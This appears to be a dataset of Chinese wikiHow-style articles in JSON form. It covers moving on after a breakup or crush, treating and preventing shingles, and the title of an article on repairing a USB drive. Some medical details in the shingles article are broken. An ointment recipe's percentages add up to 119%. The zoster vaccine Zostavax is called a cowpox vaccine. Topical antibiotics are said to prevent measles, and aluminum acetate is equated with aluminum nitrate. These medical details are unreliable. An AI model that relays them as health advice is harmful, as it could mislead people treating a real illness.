避免不必要的接触。\\n这意味着你不要去打电话、发邮件，不要在已经偷偷知道对方每天晨跑的情况下还假装不期而遇。如果你想要彻底放下某人，你就需要和对方保持足够远的距离，才能给自己一个机会去想其他的事情。\\n当然，如果你和对方是同事或同学，这就可能是很困难的了。在这种情况下，你能做的最好的事情就是限制那些在日常生活中不可避免的对话发生的频率。你不需要因为想要摆脱一段关系就打乱日常生活，但是你不应该刻意去寻找那个人。\\n2-2. 别在网上关注人家了。\\n停止查看他/她的社交网站、微博、博客、品趣志或其他任何与那个人有关的社交媒体账户。专注于对方目前在做些什么只会让你更难摆脱困扰。\\n如果你觉得无法抗拒查看对方社交媒体动态的诱惑，而仍与对方保持相互关注状态，那么请和对方解除好友关注或径自取消关注对方。\\n如果对方曾经给过你他/她的账户密码，请要求对方更改密码，从而消除诱惑。\\n2-3. 永远不要和你要放下的人发生亲密关系。\\n无论是身体上的还是情感上的都不可以。\\n不要顾念旧情和前任发生关系，或是一念之差就落入陷阱去当对方的炮友。\\n只是字面上解除男女朋友关系的这种所谓的“摆脱过去”，对于男女双方来说都是一个坏主意，但它对女性来说尤其糟糕。因为肉体上的亲密关系会导致女性产生一种激素，这种激素叫催产素，会诱使人产生感情。 后果就是，你没法把这种激素从身体系统中去除。你只会感到比以前更离不开对方。\\n情感上的亲密也同样危险，即使你们两个之前确实非常亲密。这种情感上的联系是在更深层次上起作用的，它会让你更难与对方分开。\\n2-4. 扔掉任何提醒你这段关系的东西。\\n即使你断绝了关系，避免直接与对方交流，但如果你的房间充满了与对方有关的回忆的话，你可能还是无法成功放下。\\n通常情况下，最好的办法就是把任何与之相关的东西收拾起来，把它们放好，直到你完全放下这段感情了为止。你也可以不用扔掉它们，而是选择把特定的一些物品还回去，诸如个人的光盘、电影带等。\\n不管你现在为了摆脱过去有多么绝望，你都应该尽量避免把这些东西都扔掉，或是夸张地放火焚烧以解放自己。因为东西一旦消失了，它就一去不复返了。如果你扔掉一块昂贵的手表，或是烧掉了最喜欢的歌手的亲笔签名海报，只是因为这样东西让你想到了前任，你以后也许会后悔的。\\n2-5. 准备好后再和好。\\n与你想象的相反，你是可以和曾经交往过的人做朋友的。如果最终证明不可能再做朋友，至少你们可以彼此重新建立足够的尊重，这样你们两个也可以共处一室而相安无事，不会打起来。\\n但不要强迫自己去和好。如果你不能从他给你的伤害中恢复过来，感觉和好太难了，你也完全没必要强迫自己忍受。\\n只有在你接受你和对方已经没有任何可能的这个事实后，再开始和好的过程。\\n别做太多努力。尝试一次，如果对方没领情，就别非得和好了。向前看吧。\\n3. 好好生活，向前看\\n3-1. 离开家。\\n去散步。去旅行。去探险，了解伟大的未知，你还可以去了解了解你之前觉得不太有意思的事情。关键是你需要从床上爬起来，用实际行动去放下过去，哪怕你内心其实无比希望自己能花一天时间躺在床上，没完没了地看悲伤的电影。。\\n活跃起来。当你想要努力忘记某个人的时候，身体活动是再好不过的选择。相比之下，日复一日地赖在沙发上，只会让你越来越讨厌自己。\\n3-2. 跟其他朋友出去玩。\\n朋友会帮你放下一段感情，即使你把他们的肩膀都哭湿也没关系。如果你想让自己感觉好一点，把注意力从前任身上转移开，那么和一些亲密的朋友在镇上玩一晚上是很有效的。\\n你的朋友可能也会为此感到高兴，特别是如果你花了很多时间去追求迷恋对象而忽视了朋友们的话。\\n但是你还是得注意别让你的朋友在你准备好走出来之前，就帮你物色一段新恋情。\\n3-3. 结识新朋友。\\n这似乎是非常困难的，但它也会对你彻底恢复元气产生巨大的作用。通过结识新朋友，你会发现还是会有人欣赏你、爱你的。同样，你也会意识到“天涯何处无芳草”。\\n新朋友起到的作用就像尝试一项新兴趣一样。结交新朋友可以帮你更好地释放之前一段关系带来的紧张和压力，也能帮你避免陷入“反弹式爱情”（意思是结束一段爱情后很快又进入了另一段新的爱情关系）中。\\n3-4. 自己控制时间。\\n不要强迫自己去约会。简而言之，什么时候你准备好了，什么时候你就可以去了。\\n反弹式爱情或一夜情只会让你感觉更糟，尤其是当你意识到你并没有那么喜欢对方的时候。\\n3-5. 爱自己。\\n最重要的一点，你要知道你是值得被爱的，不要去管别人的想法或感觉。\\n花时间做你喜欢的事情，如果之前你花了太多时间和前任在一起，或者是你试图去做其他事情来讨好单恋对象，以致于自己没有时间做真正喜欢的事，那么这一点就尤其有意义了。\\n不要去承担所有的责任。你要知道事情并不都是命中注定的。没有好结果并不意味着你犯了错，或是你不值得被爱。\\n4. 具体情况——迷恋\\n4-1. 结束迷恋。\\n从迷恋中清醒过来看起来似乎比从分手中恢复过来更容易，但事实并非总是如此。\\n为了结束迷恋，你需要接受自己的感情，但需要和迷恋对象保持距离，下定决心放下这段感情。\\n如果你是刚刚开始产生迷恋情愫的中学生，那么你可能会觉得更难摆脱这种感情。试着与其他异性熟悉起来，并学习如何用现实的眼光去审视你迷恋的对象。\\n4-2. 结束不恰当的感情。\\n有许多情感是不适当的，比如说，对方可能已经结婚了，对方对你而言可能太过年轻，或者对方可能是你的同事或下属，而所在公司却禁止办公室恋情。\\n你需要做的最重要的事情，就是学会自我控制。\\n要知道为什么不该继续迷恋对方，时刻提醒自己，如果继续放任自己迷恋对方可能造成什么后果。\\n4-3. 放弃不会结果的感情。\\n即使你已经知道对方不会回应你的感情，但你可能仍然很难去放下这些感情。\\n尽量避免与对方的非必要的接触，调整自己的视角，这样你可能会了解到为什么与那个人在一起是很糟糕的事情。\\n照顾好自己，也要鼓励自己开始注意其他你有好感的、可能有机会发展的异性。\\n4-4. 停止迷恋上你的密友。\\n暗恋自己的朋友是最棘手的情况，尤其当对方是你最好的朋友或其他亲密的朋友的情况下。为了真正放下，你需要把友谊看得最重。\\n停止暗恋你的朋友。不要试图介入你的朋友和他喜欢的女孩之间，也不要去担心他会如何看待你。\\n4-5. 不要再为自己之前拒绝了一个追求者而后悔。\\n如果你突然发现自己对曾经追求过你的人有感觉了，你可能会后悔当时拒绝那个人的决定。\\n自重自爱。不要一味沉迷于过去。\\n记住你起初拒绝对方的原因，然后考虑你当下的感觉是否是真实的。\\n4-6. 停止迷恋那些已经有交往对象的人。\\n如果你喜欢的人已经有了对象，那么你能做的最后一件事就是努力不要再去干涉对方。\\n停止暗恋已经名花有主的女孩。你得知道你和那个女孩只能成为朋友，而且你不能去诱惑她，把她置于两难境地之下。\\n停止暗恋已经名草有主的男孩。接受现实情况。不要想着你们三个人之间会有什么戏剧性的情况发生。\\n5. 具体情况——分手\\n5-1. 分手后就向前看。\\n无论你在这段关系中投入了多少时间，分手总是会让你感到痛苦的。\\n如果是你提出分手的话，不要再重新去考虑你的决定是否正确。\\n提醒自己你们的关系中存在的（不可调和的）问题，而不是专注于你有多想念对方。\\n5-2. 分手后就要向前看。\\n即使是你决定分手的，你也可能仍然很难真正让这段感情过去。\\n诚实地面对你的感情。\\n抵制想要跟前任再续前缘的诱惑，即便你仍然爱着对方。\\n5-3. 在你们分手之后，试试拯救你的友谊。\\n如果你的爱人同时也是你的朋友，你可能不会希望在分手之后就失去这个朋友。\\n接受分手后最初的痛苦和尴尬。\\n与对方保持联系，但避免去对方经常光顾那些地方，也不要跟你的现任在前任面前秀恩爱。\\n5-4. 在经常能看到对方的情况下放下对方。\\n有时候，你会无可避免地经常看到你的前任，这会让你更难放下这段感情。\\n不要去刻意躲避对方，但是要避免频繁的目光接触或不必要的沟通。\\n5-5. 在对方比你先放下的情况下走出来。\\n如果你发现前任已经从你们这段关系中走出来、向前看了，你会发现自己却反而更难放下了。\\n接受悲伤的感觉，但不要细想。展望未来，而不是沉迷于过去。\\n5-6. 治愈与初恋分手的痛苦。\\n当你和你非常非常爱的第一个人，而且是很可能共度余生的那个人分手时，这个过程可能会更难受。\\n你需要理清思绪，不断地提醒自己分手的原因是什么。\\n爱自己，然后再学会爱别人。\\n永远要对自己诚实，学会依靠朋友来帮你度过这个艰难的时段。\\n5-7. 放下欺骗了你的感情的人。\\n如果你在对方欺骗了你之后和对方分手，你可能还会对这个人抱有感情，即使你知道这段关系结束了会更好。\\n找到另一个你感兴趣的、有潜在发展可能的人。不要害怕和别人谈情说爱并再次坠入爱河。\\n看到自己的价值。不要因对方的不忠而责怪自己。\\n\", \"简要回答\": \"让你立刻放下你所爱的人，似乎是不太可能的，但别担心，在这条黑暗的隧道尽头仍是有亮光的。这里有一些建议，能帮你走出失恋的阴影。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"释放所有情绪\", \"步骤\": [{\"编号\": 1, \"标题\": \"哭。\", \"描述\": \"放声痛哭。把头埋进枕头里尖叫。对着墙大喊。在放下过去的初始阶段，你会感到痛苦。你必须在很长一段时间内与这种痛苦相伴，忍过去了才能真正翻篇。\\n一味否认是没用的。忽略不好的感觉并不能让这种感觉消失。反之，忽视感情只会增加以后情绪大爆发的风险。\\n如果你需要物理方法帮你释放情绪，建议去健身房，把你的悲伤发泄在吊袋上。\"}, {\"编号\": 2, \"标题\": \"抵制愤怒的诱惑。\", \"描述\": \"你的一部分情绪可能真的非常愤怒。这是可以理解的。但是，你应该避免让愤怒扭曲或屏蔽你的痛苦。愤怒会让你感觉不那么脆弱，但唯一有效的办法就是接受现状，尽情悲伤。\\n此外，愤怒往往是强迫性的。如果你讲你的前任或单恋对象的坏话，或者死咬着对方做错的每件小事不放，那么你的脑子里依然满满的全是对方。换句话说，愤怒会让你裹足不前，而不能让你向前进。\"}, {\"编号\": 3, \"标题\": \"享受偶尔的放纵。\", \"描述\": \"给自己买一盒巧克力并吃一整晚。直接在浴缸里吃冰淇淋。购买你已经关注了几个月的名牌手袋或新产品。因为你正在经历一段艰难时期，所以你可能需要自我破坏才能使你的心情变好。\\n即便如此，你也应该为自己设定限制。如果你因此欠债，或者满屋垃圾，或胖了30多斤，你只会感到比以前更痛苦。放纵自己，但是要保持适当的度，避免不健康的行为。\"}, {\"编号\": 4, \"标题\": \"听欢快的音乐。\", \"描述\": \"音乐可以帮助人们放松和表达情感。听分手音乐似乎是一个好主意，因为他们似乎能够分担你的痛苦，但长时间的播放这种类型的歌曲只会让你更伤心。拿出你最喜欢的非悲伤类型的音乐，然后重复听一会儿，即使你想要放下的人只是你有好感的，并不是前任，你也可以这样做。\\n如果你没有属于自己的欢快歌曲列表，你可以在线做一些调查。你可以只简单地搜索“好心情的歌”或“关于暗恋的歌曲”就行。\\n从物理的角度来看，听音乐是科学上已知的有效的治疗方式。它可以降低心率和缓解压力。\"}, {\"编号\": 5, \"标题\": \"让自己感觉麻木。\", \"描述\": \"大哭过后，你可能会感到有点麻木或心死了。此时请不要惊慌，这对很多人来说是再自然不过的反应了。\\n通常来说，感觉麻木纯粹是因为疲惫。哭泣和其他形式的高能情感会让你身心俱疲。因此，在你经历了这些情感周期后，你可能会感觉太累而没办法感觉到其他事情。\"}, {\"编号\": 6, \"标题\": \"与朋友商量。\", \"描述\": \"密友的肩膀是你可以依靠的。有时谈论你的感情是一个很好的发泄途径，这能帮你向前看。\\n可以给你建议的朋友是一个很好的交谈对象，但任何愿意倾听你的故事的朋友都能够起到一点点作用。因为发泄情绪和解决问题一样重要。\\n尊重朋友。虽然你的好朋友不会因为你在情绪崩溃时凌晨4点给他打电话而怪你，但即便如此，你也应该限制这样做的频率。你有资格悲伤，但你仍然应该体贴你周围的人。\"}, {\"编号\": 7, \"标题\": \"记日记。\", \"描述\": \"如果你想让你的朋友休息一下，或是你认为没有人能让你足够舒适地与之交谈，那么就把你的感受写下来。这种做法也可以帮助你释放和发泄压抑的情绪。\\n记下任何你在放下过去的过程中留下的记忆或遇到的困难。\\n你也可以使用你的日记来记录那些你不敢对别人说的事情。\"}, {\"编号\": 8, \"标题\": \"限制自己沉浸在悲伤中的时间。\", \"描述\": \"你需要给时间让自己难过，同时你也需要知道，到了什么时候你就必须强迫自己走出来了。\\n预先设定一个日期或大体的时间框架。给自己其中一半的时间用在思念前任或单恋对象上面。在这段时间里你可以随意忧郁。之后即使你仍然觉得闷闷不乐，也必须把这一页翻过去了。\"}]}, {\"编号\": 2, \"标题\": \"断绝联系\", \"步骤\": [{\"编号\": 1, \"标题\": \"避免不必要的接触。\", \"描述\": \"这意味着你不要去打电话、发邮件，不要在已经偷偷知道对方每天晨跑的情况下还假装不期而遇。如果你想要彻底放下某人，你就需要和对方保持足够远的距离，才能给自己一个机会去想其他的事情。\\n当然，如果你和对方是同事或同学，这就可能是很困难的了。在这种情况下，你能做的最好的事情就是限制那些在日常生活中不可避免的对话发生的频率。你不需要因为想要摆脱一段关系就打乱日常生活，但是你不应该刻意去寻找那个人。\"}, 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14,690 | 如何治疗带状疱疹 | 1. 诊断
1-1. 了解带状疱疹经常出现的症状。
人得了水痘之后，水痘病毒会留在体内，有时会爆发成皮疹和水泡。带状疱疹最常见的症状有：
头疼
像流感一样的症状
对光敏感
当皮疹开始出现时，身体一边会发痒、发疼、发麻。
1-2. 了解带状疱疹有三个阶段，知道每个阶段的表现症状，有助于医生更有效的治疗。
第一阶段（发病前）：痒痒, 刺痛, 发麻，疼痛的地方就是后来长皮疹的地方。腹泻，胃疼，怕冷（不发烧）会伴随着这种刺激性的皮肤。你的淋巴结会变软或肿大。
第二阶段（皮疹和水泡）：皮疹会从身体一边出现，而水泡最后出来。水泡的水分是透明的，但最终会长得密密麻麻的。如果皮疹出现在眼睛周围，就要马上去看医生。皮疹和水泡有时会伴随强烈的刺痛感。
第三阶段（长皮疹和水泡之后）：皮疹感染的地方会疼。这叫带状疱疹后遗神经痛(PHN)，可能持续几周甚至几年时间。皮肤会特别敏感，长期疼痛，还有酸痛和烧灼感。
1-3. 清楚自己是不是带状疱疹的高危人群。
如果你用过免疫抑制剂，比如器官移植之后用的类固醇，那你就是高危人群了。如果你有以下症状，也属于高危人群：
癌症
淋巴瘤
人体免疫缺损病毒（艾滋病）
白血病
2. 治疗
2-1. 趁早看医生。
越早诊断越好。（对不起，不推荐自己诊断）症状出现头三天开始第一个阶段药物治疗的病人比症状出现三天之后再治疗的病人治疗结果好很多。
2-2. 和医生聊聊治疗皮疹的同时如何止疼。
多数治疗都不复杂，可以一边治疗症状一边止疼。医生会建议你这样：
抗病毒药物，像阿昔洛韦（无环鸟苷），伐昔洛韦（阿昔洛韦左旋缬氨酸酯），法昔洛韦（丽珠风），可以治疗皮疹疼，缩短疼痛时间。
非处方非类固醇抗炎药止疼，比如布洛芬、阿司匹林、对乙酰氨基酚。
某些局部抗生素可以抗感染，防止麻疹和水泡扩散。
2-3. 如果带状疱疹没了之后你还有慢性疼痛，就请医生再给你诊断一下是不是有带状疱疹后遗神经痛(PHN)。
每一百个带状麻疹病人中有十五个会出现这种慢性症状，医生会给你：
抗抑郁药 (后遗神经痛经常伴随着抑郁，某些日常行为会很痛苦或很难正常完成。)
局部麻醉药，苯唑卡因（非处方药），利多卡因补丁（只能处方使用）
抗痉挛药物, 有些研究证明，这种药物有助于治疗慢性神经疼痛
阿片类药物, 比如可待因，可以减轻慢性疼痛。
2-4. 准备一些在家用的治疗方法。
尽管在家可以不管带状疱疹，但还是有很多在家里可以用的治疗方法配合医生治疗。这些办法有：
别把皮疹和水泡包的太严，别使劲抓。要接触空气，结痂了也不能抠掉。如果疼的睡不着，可以用运动绷带包起来。
冰敷十分钟，五分钟休息一次，这样冰敷几个小时。之后在水中溶解一些醋酸铝（硝酸铝）用来湿压缩水泡。
让药剂师做药膏。让药剂师把78%炉甘石液、20%的外用酒精、1%的苯酚、20%薄荷醇混合。 药膏抹在水泡的地方，让水泡结痂。
2-5. 小心恶化。
带状疱疹会有时会有长期并发症。如果你在治疗带状疱疹或者带状疱疹后遗神经痛，就要注意这些情况：
皮疹扩散到全身多数地方。这叫播散性带状疱疹，能影响体内器官和关节。有抗生素和抗病毒药物两种治疗手段。
皮疹扩散到脸上。这叫眼带状疱疹，如果不及时治疗，会危及视力。如果发现带状疱疹长到眼睛了，就要马上看医生或眼科医生。
3. 预防带状疱疹
3-1. 接种带状疱疹疫苗。
如果已经感染了水痘，可能会长带状疱疹，或是想治疗阶段不那么痛苦，可以考虑接种疫苗。牛痘苗的市场名称是Zostavax。五十岁以上成人打一针，无论以前是否接种过。
没得过水痘或带状疱疹的人不要接种牛痘苗，可以选择水痘疫苗。
3-2. 不要接触感染人群。
没得过水痘和带状疱疹的人应该避免接触已经发病的人群。水痘会传染，所以要避开；接触带状疱疹水泡出水以后会长水痘，可能会让带状疱疹发作。
五十岁以上人群比年轻人更容易得带状疱疹。 五十岁以上人群要对带状疱疹非常小心。
小提示
任何人得了水痘都可能得带状疱疹，小孩也一样。
如果直接接触皮疹病人，病毒会从带状疱疹病人身上传染给没得过水痘的人。接触的人会得水痘，但不会得带状疱疹。
咳嗽，打喷嚏，偶尔接触不会传染病毒。
带状疱疹病人的皮疹还处于水泡阶段就会传染。皮疹结痂之后，就不传染人了。
有些人不能接种疫苗，或者可以等一等。不能接种带状疱疹疫苗的人有：
艾滋病或有其他免疫系统疾病的人。
在进行放疗或化疗等癌症治疗的人。
病情活跃还没开始治疗的结核病。
正在怀孕和可能怀孕的人。女性接种带状疱疹至少三个月之后才可以怀孕。
你是否对新霉素抗生素，明胶，或任何其他带状疱疹疫苗里的成分有致命的过敏反应。
癌症史会影响淋巴系统和骨髓，比如淋巴瘤和白血病。
水泡出现之前不会传染。
把皮疹包好，传染的几率就很低了。
主动防止带状疱疹传染，这是你的责任。得了带状疱疹的人要把水痘包好。不要碰，也不要抓，要经常洗手。
接种疫苗。免疫实践咨询委员会(ACIP)最近推荐接种带状疱疹疫苗，降低六十岁和六十岁以上人群得病的几率。
警告
对于五分之一的人来说，水泡消失之后，还是会有剧烈的疼痛，这叫疱疹后神经痛，老人更容易得，而且容易疼的更厉害。
带状疱疹导致听力问题、肺炎、脑部炎症（脑炎）、失明或死亡的可能性非常小。
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"回答明细": "{\"回答\": \"1. 诊断\\n1-1. 了解带状疱疹经常出现的症状。\\n人得了水痘之后，水痘病毒会留在体内，有时会爆发成皮疹和水泡。带状疱疹最常见的症状有：\\n头疼\\n像流感一样的症状\\n对光敏感\\n当皮疹开始出现时，身体一边会发痒、发疼、发麻。\\n1-2. 了解带状疱疹有三个阶段，知道每个阶段的表现症状，有助于医生更有效的治疗。\\n第一阶段（发病前）：痒痒, 刺痛, 发麻，疼痛的地方就是后来长皮疹的地方。腹泻，胃疼，怕冷（不发烧）会伴随着这种刺激性的皮肤。你的淋巴结会变软或肿大。\\n第二阶段（皮疹和水泡）：皮疹会从身体一边出现，而水泡最后出来。水泡的水分是透明的，但最终会长得密密麻麻的。如果皮疹出现在眼睛周围，就要马上去看医生。皮疹和水泡有时会伴随强烈的刺痛感。\\n第三阶段（长皮疹和水泡之后）：皮疹感染的地方会疼。这叫带状疱疹后遗神经痛(PHN)，可能持续几周甚至几年时间。皮肤会特别敏感，长期疼痛，还有酸痛和烧灼感。\\n1-3. 清楚自己是不是带状疱疹的高危人群。\\n如果你用过免疫抑制剂，比如器官移植之后用的类固醇，那你就是高危人群了。如果你有以下症状，也属于高危人群：\\n癌症\\n淋巴瘤\\n人体免疫缺损病毒（艾滋病）\\n白血病\\n2. 治疗\\n2-1. 趁早看医生。\\n越早诊断越好。（对不起，不推荐自己诊断）症状出现头三天开始第一个阶段药物治疗的病人比症状出现三天之后再治疗的病人治疗结果好很多。\\n2-2. 和医生聊聊治疗皮疹的同时如何止疼。\\n多数治疗都不复杂，可以一边治疗症状一边止疼。医生会建议你这样：\\n抗病毒药物，像阿昔洛韦（无环鸟苷），伐昔洛韦（阿昔洛韦左旋缬氨酸酯），法昔洛韦（丽珠风），可以治疗皮疹疼，缩短疼痛时间。\\n非处方非类固醇抗炎药止疼，比如布洛芬、阿司匹林、对乙酰氨基酚。\\n某些局部抗生素可以抗感染，防止麻疹和水泡扩散。\\n2-3. 如果带状疱疹没了之后你还有慢性疼痛，就请医生再给你诊断一下是不是有带状疱疹后遗神经痛(PHN)。\\n每一百个带状麻疹病人中有十五个会出现这种慢性症状，医生会给你：\\n抗抑郁药 (后遗神经痛经常伴随着抑郁，某些日常行为会很痛苦或很难正常完成。)\\n局部麻醉药，苯唑卡因（非处方药），利多卡因补丁（只能处方使用）\\n抗痉挛药物, 有些研究证明，这种药物有助于治疗慢性神经疼痛\\n阿片类药物, 比如可待因，可以减轻慢性疼痛。\\n2-4. 准备一些在家用的治疗方法。\\n尽管在家可以不管带状疱疹，但还是有很多在家里可以用的治疗方法配合医生治疗。这些办法有：\\n别把皮疹和水泡包的太严，别使劲抓。要接触空气，结痂了也不能抠掉。如果疼的睡不着，可以用运动绷带包起来。\\n冰敷十分钟，五分钟休息一次，这样冰敷几个小时。之后在水中溶解一些醋酸铝（硝酸铝）用来湿压缩水泡。\\n让药剂师做药膏。让药剂师把78%炉甘石液、20%的外用酒精、1%的苯酚、20%薄荷醇混合。 药膏抹在水泡的地方，让水泡结痂。\\n2-5. 小心恶化。\\n带状疱疹会有时会有长期并发症。如果你在治疗带状疱疹或者带状疱疹后遗神经痛，就要注意这些情况：\\n皮疹扩散到全身多数地方。这叫播散性带状疱疹，能影响体内器官和关节。有抗生素和抗病毒药物两种治疗手段。\\n皮疹扩散到脸上。这叫眼带状疱疹，如果不及时治疗，会危及视力。如果发现带状疱疹长到眼睛了，就要马上看医生或眼科医生。\\n3. 预防带状疱疹\\n3-1. 接种带状疱疹疫苗。\\n如果已经感染了水痘，可能会长带状疱疹，或是想治疗阶段不那么痛苦，可以考虑接种疫苗。牛痘苗的市场名称是Zostavax。五十岁以上成人打一针，无论以前是否接种过。\\n没得过水痘或带状疱疹的人不要接种牛痘苗，可以选择水痘疫苗。\\n3-2. 不要接触感染人群。\\n没得过水痘和带状疱疹的人应该避免接触已经发病的人群。水痘会传染，所以要避开；接触带状疱疹水泡出水以后会长水痘，可能会让带状疱疹发作。\\n五十岁以上人群比年轻人更容易得带状疱疹。 五十岁以上人群要对带状疱疹非常小心。\\n小提示\\n任何人得了水痘都可能得带状疱疹，小孩也一样。\\n如果直接接触皮疹病人，病毒会从带状疱疹病人身上传染给没得过水痘的人。接触的人会得水痘，但不会得带状疱疹。\\n咳嗽，打喷嚏，偶尔接触不会传染病毒。\\n带状疱疹病人的皮疹还处于水泡阶段就会传染。皮疹结痂之后，就不传染人了。\\n有些人不能接种疫苗，或者可以等一等。不能接种带状疱疹疫苗的人有：\\n艾滋病或有其他免疫系统疾病的人。\\n在进行放疗或化疗等癌症治疗的人。\\n病情活跃还没开始治疗的结核病。\\n正在怀孕和可能怀孕的人。女性接种带状疱疹至少三个月之后才可以怀孕。\\n你是否对新霉素抗生素，明胶，或任何其他带状疱疹疫苗里的成分有致命的过敏反应。\\n癌症史会影响淋巴系统和骨髓，比如淋巴瘤和白血病。\\n水泡出现之前不会传染。\\n把皮疹包好，传染的几率就很低了。\\n主动防止带状疱疹传染，这是你的责任。得了带状疱疹的人要把水痘包好。不要碰，也不要抓，要经常洗手。\\n接种疫苗。免疫实践咨询委员会(ACIP)最近推荐接种带状疱疹疫苗，降低六十岁和六十岁以上人群得病的几率。\\n警告\\n对于五分之一的人来说，水泡消失之后，还是会有剧烈的疼痛，这叫疱疹后神经痛，老人更容易得，而且容易疼的更厉害。\\n带状疱疹导致听力问题、肺炎、脑部炎症（脑炎）、失明或死亡的可能性非常小。\\n\", \"简要回答\": \"带状疱疹，也叫带状疱行疹，是一种由水痘-带状疱疹病毒(VZV)引起的皮疹， 让人很痛苦。引起水痘的也是这种病毒。一个人得了水痘之后，病毒就留在体内了，一般情况下都不会有事。但这种病毒偶尔会再出来，这就是可厌的水泡，学名叫带状疱疹。下面我们来探讨如何治疗这种疾病。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"诊断\", \"步骤\": [{\"编号\": 1, \"标题\": \"了解带状疱疹经常出现的症状。\", \"描述\": \"人得了水痘之后，水痘病毒会留在体内，有时会爆发成皮疹和水泡。带状疱疹最常见的症状有：\\n头疼\\n像流感一样的症状\\n对光敏感\\n当皮疹开始出现时，身体一边会发痒、发疼、发麻。\"}, {\"编号\": 2, \"标题\": \"了解带状疱疹有三个阶段，知道每个阶段的表现症状，有助于医生更有效的治疗。\", \"描述\": \"第一阶段（发病前）：痒痒, 刺痛, 发麻，疼痛的地方就是后来长皮疹的地方。腹泻，胃疼，怕冷（不发烧）会伴随着这种刺激性的皮肤。你的淋巴结会变软或肿大。\\n第二阶段（皮疹和水泡）：皮疹会从身体一边出现，而水泡最后出来。水泡的水分是透明的，但最终会长得密密麻麻的。如果皮疹出现在眼睛周围，就要马上去看医生。皮疹和水泡有时会伴随强烈的刺痛感。\\n第三阶段（长皮疹和水泡之后）：皮疹感染的地方会疼。这叫带状疱疹后遗神经痛(PHN)，可能持续几周甚至几年时间。皮肤会特别敏感，长期疼痛，还有酸痛和烧灼感。\"}, {\"编号\": 3, \"标题\": \"清楚自己是不是带状疱疹的高危人群。\", \"描述\": \"如果你用过免疫抑制剂，比如器官移植之后用的类固醇，那你就是高危人群了。如果你有以下症状，也属于高危人群：\\n癌症\\n淋巴瘤\\n人体免疫缺损病毒（艾滋病）\\n白血病\"}]}, {\"编号\": 2, \"标题\": \"治疗\", \"步骤\": [{\"编号\": 1, \"标题\": \"趁早看医生。\", \"描述\": \"越早诊断越好。（对不起，不推荐自己诊断）症状出现头三天开始第一个阶段药物治疗的病人比症状出现三天之后再治疗的病人治疗结果好很多。\"}, {\"编号\": 2, \"标题\": \"和医生聊聊治疗皮疹的同时如何止疼。\", \"描述\": \"多数治疗都不复杂，可以一边治疗症状一边止疼。医生会建议你这样：\\n抗病毒药物，像阿昔洛韦（无环鸟苷），伐昔洛韦（阿昔洛韦左旋缬氨酸酯），法昔洛韦（丽珠风），可以治疗皮疹疼，缩短疼痛时间。\\n非处方非类固醇抗炎药止疼，比如布洛芬、阿司匹林、对乙酰氨基酚。\\n某些局部抗生素可以抗感染，防止麻疹和水泡扩散。\"}, {\"编号\": 3, \"标题\": \"如果带状疱疹没了之后你还有慢性疼痛，就请医生再给你诊断一下是不是有带状疱疹后遗神经痛(PHN)。\", \"描述\": \"每一百个带状麻疹病人中有十五个会出现这种慢性症状，医生会给你：\\n抗抑郁药 (后遗神经痛经常伴随着抑郁，某些日常行为会很痛苦或很难正常完成。)\\n局部麻醉药，苯唑卡因（非处方药），利多卡因补丁（只能处方使用）\\n抗痉挛药物, 有些研究证明，这种药物有助于治疗慢性神经疼痛\\n阿片类药物, 比如可待因，可以减轻慢性疼痛。\"}, {\"编号\": 4, \"标题\": \"准备一些在家用的治疗方法。\", \"描述\": \"尽管在家可以不管带状疱疹，但还是有很多在家里可以用的治疗方法配合医生治疗。这些办法有：\\n别把皮疹和水泡包的太严，别使劲抓。要接触空气，结痂了也不能抠掉。如果疼的睡不着，可以用运动绷带包起来。\\n冰敷十分钟，五分钟休息一次，这样冰敷几个小时。之后在水中溶解一些醋酸铝（硝酸铝）用来湿压缩水泡。\\n让药剂师做药膏。让药剂师把78%炉甘石液、20%的外用酒精、1%的苯酚、20%薄荷醇混合。 药膏抹在水泡的地方，让水泡结痂。\"}, {\"编号\": 5, \"标题\": \"小心恶化。\", \"描述\": \"带状疱疹会有时会有长期并发症。如果你在治疗带状疱疹或者带状疱疹后遗神经痛，就要注意这些情况：\\n皮疹扩散到全身多数地方。这叫播散性带状疱疹，能影响体内器官和关节。有抗生素和抗病毒药物两种治疗手段。\\n皮疹扩散到脸上。这叫眼带状疱疹，如果不及时治疗，会危及视力。如果发现带状疱疹长到眼睛了，就要马上看医生或眼科医生。\"}]}, {\"编号\": 3, \"标题\": \"预防带状疱疹\", \"步骤\": [{\"编号\": 1, \"标题\": \"接种带状疱疹疫苗。\", \"描述\": \"如果已经感染了水痘，可能会长带状疱疹，或是想治疗阶段不那么痛苦，可以考虑接种疫苗。牛痘苗的市场名称是Zostavax。五十岁以上成人打一针，无论以前是否接种过。\\n没得过水痘或带状疱疹的人不要接种牛痘苗，可以选择水痘疫苗。\"}, {\"编号\": 2, \"标题\": \"不要接触感染人群。\", \"描述\": \"没得过水痘和带状疱疹的人应该避免接触已经发病的人群。水痘会传染，所以要避开；接触带状疱疹水泡出水以后会长水痘，可能会让带状疱疹发作。\\n五十岁以上人群比年轻人更容易得带状疱疹。 五十岁以上人群要对带状疱疹非常小心。\"}], \"小提示\": [\"任何人得了水痘都可能得带状疱疹，小孩也一样。\\n\", \"如果直接接触皮疹病人，病毒会从带状疱疹病人身上传染给没得过水痘的人。接触的人会得水痘，但不会得带状疱疹。\\n\", \"咳嗽，打喷嚏，偶尔接触不会传染病毒。\\n\", \"带状疱疹病人的皮疹还处于水泡阶段就会传染。皮疹结痂之后，就不传染人了。\\n\", \"有些人不能接种疫苗，或者可以等一等。不能接种带状疱疹疫苗的人有：\\n艾滋病或有其他免疫系统疾病的人。\\n在进行放疗或化疗等癌症治疗的人。\\n病情活跃还没开始治疗的结核病。\\n正在怀孕和可能怀孕的人。女性接种带状疱疹至少三个月之后才可以怀孕。\\n你是否对新霉素抗生素，明胶，或任何其他带状疱疹疫苗里的成分有致命的过敏反应。\\n癌症史会影响淋巴系统和骨髓，比如淋巴瘤和白血病。\\n\", \"水泡出现之前不会传染。\\n\", \"把皮疹包好，传染的几率就很低了。\\n\", \"主动防止带状疱疹传染，这是你的责任。得了带状疱疹的人要把水痘包好。不要碰，也不要抓，要经常洗手。\\n\", \"接种疫苗。免疫实践咨询委员会(ACIP)最近推荐接种带状疱疹疫苗，降低六十岁和六十岁以上人群得病的几率。\\n\"], \"注意事项\": [\"对于五分之一的人来说，水泡消失之后，还是会有剧烈的疼痛，这叫疱疹后神经痛，老人更容易得，而且容易疼的更厉害。\\n\", \"带状疱疹导致听力问题、肺炎、脑部炎症（脑炎）、失明或死亡的可能性非常小。\\n\"]}]}}",
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14,691 | 如何修复U盘 | 1. 修复物理损坏
